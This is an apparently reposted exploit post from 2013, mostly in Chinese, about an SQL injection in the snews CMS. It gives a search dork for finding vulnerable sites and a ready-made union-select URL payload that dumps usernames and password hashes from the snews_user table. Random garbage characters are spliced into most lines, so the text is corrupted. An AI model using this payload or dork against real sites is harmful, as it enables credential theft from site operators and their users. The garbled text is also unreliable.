标题: CMS snews SQL Injection Vulnerability
1 E# p* n; Q' `3 D$ B0 P- q) o/ R作者: By onestree" W$ s. ?/ |% x* x% l2 S3 G6 y
下载地址 : http://snewscms.com/
3 F( s' N* u' Y y& g测试平台 : ubuntu 12.10 / win 7
" _1 H, W, o+ T- |关键词: inurl:"tanyakan pada rumput yang bergoyang"
3 r6 {1 i* V9 n2 `' b& a; b
% i' ? O+ D8 m% s# x1 o/ K, @0 ?9 \. ? 3 b) u. k% z2 S1 N- `& S/ }
************************************************************* H9 x7 F3 ?3 ^) ~9 J
7 ]8 O# J* W$ T5 O% {5 `# R. Y
SQL poc:
, d9 Q" x5 ]# E% b( W0 b ' Z* m7 S% S- T7 R
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
$ r& M# |0 `1 I3 X: t; E* o$ O 3 a( W; k2 \/ _0 I$ K: r
示例7 l; u6 H0 m: @2 N) E
1 K/ _3 e4 Q0 E+ v' i6 n
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*9 U$ w7 Y7 M/ v
) U8 t* `# P" S z* N
' r- d2 A' Q& K0 q, o! X致谢:
& c$ v* H6 p; B; X! \+ O( |7 e " {+ u: r0 x! f3 ?8 P' |
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell5 O7 `1 h- P1 n
/ ~: M/ e' F0 e2 ?- s9 o
indonesiancoder - moeslimh4x0r - go-coder3 @) q5 ]6 Z; t! B! `+ V6 n. D( U
- m ?6 a5 z$ ~* R- v/ S- D$ Ispesial my hunny :*
, d" u$ _6 F8 U9 h |
发表于 2013-1-23 08:55:06
收藏
支持
反对